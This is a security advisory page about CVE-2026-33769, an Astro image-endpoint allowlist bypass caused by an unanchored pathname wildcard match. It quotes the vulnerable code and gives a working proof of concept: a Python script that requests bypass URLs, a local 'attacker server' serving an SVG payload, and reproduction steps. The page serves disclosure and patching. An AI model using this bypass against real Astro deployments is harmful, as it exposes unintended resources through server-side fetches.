CVE-2026-33769: Astro: Remote allowlist bypass via unanchored matchPathname wildcard

Published Mar 24, 2026
·
Updated

Summary This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for / wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); }

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); }

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for / patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

ts } else if (pathname.endsWith('/')) { const slicedPathname = pathname.slice(0, -1); // length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; }

Vulnerable code flow: 1. isRemoteAllowed() evaluates remotePatterns for a requested URL. 2. matchPathname() handles pathname: "/img/" using .replace() on the URL path. 3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config js import { defineConfig } from 'astro/config'; import node from '@astrojs/node';

export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/' }, ], }, });

Affected pages This PoC targets the /image endpoint directly; no additional pages are required.

PoC Code python import http.client import json import urllib.parse

HOST = "127.0.0.1" PORT = 4321

def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "bodysnippet": body[:400], }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

Both pass, second should fail

results = { "allowed": fetch(f"/image?href={allowed}&f=svg"), "bypass": fetch(f"/image?href={bypass}&f=svg"), }

print(json.dumps(results, indent=2))

Attacker server python from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1" PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """

class Handler(BaseHTTPRequestHandler): def doGET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.sendresponse(200) self.sendheader("Content-Type", "image/svg+xml") self.sendheader("Cache-Control", "no-store") self.endheaders() self.wfile.write(PAYLOAD.encode("utf-8")) return

self.sendresponse(200) self.sendheader("Content-Type", "text/plain") self.endheaders() self.wfile.write(b"ok")

def logmessage(self, format, args): return

if name == "main": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serveforever()

PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Other sources

Astro is a web framework. From version 2.10.10 to before version 5.18.1, this issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for / wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. This issue has been patched in version 5.18.1.

MITRE

Affected Software

3 affected componentsFixes available
npm/astro>=2.10.10<5.18.1
astro Astro Node.js>=2.10.10<5.18.1
npm/astro>=2.10.10<5.18.1
5.18.1

Event History

Mar 24, 2026
CVE Published
via MITRE·06:44 PM
Data Sourced
via MITRE·06:44 PM
DescriptionWeakness
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeaknessAffected Software
Mar 26, 2026
Advisory Published
via GitHub·06:45 PM
Data Sourced
via GitHub·06:45 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33769?

CVE-2026-33769 has been rated as a medium severity vulnerability due to its potential impact on path validation for remote URLs.

2

How do I fix CVE-2026-33769?

To mitigate CVE-2026-33769, upgrade to Astro version 5.18.1 or later.

3

What software is affected by CVE-2026-33769?

CVE-2026-33769 affects the Astro framework versions between 2.10.10 and 5.18.1.

4

What is the nature of the vulnerability in CVE-2026-33769?

CVE-2026-33769 is a remote allowlist bypass vulnerability due to unanchored matchPathname wildcards.

5

What kind of attack could exploit CVE-2026-33769?

An attacker could exploit CVE-2026-33769 by manipulating remote URLs to bypass security controls intended for path enforcement.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203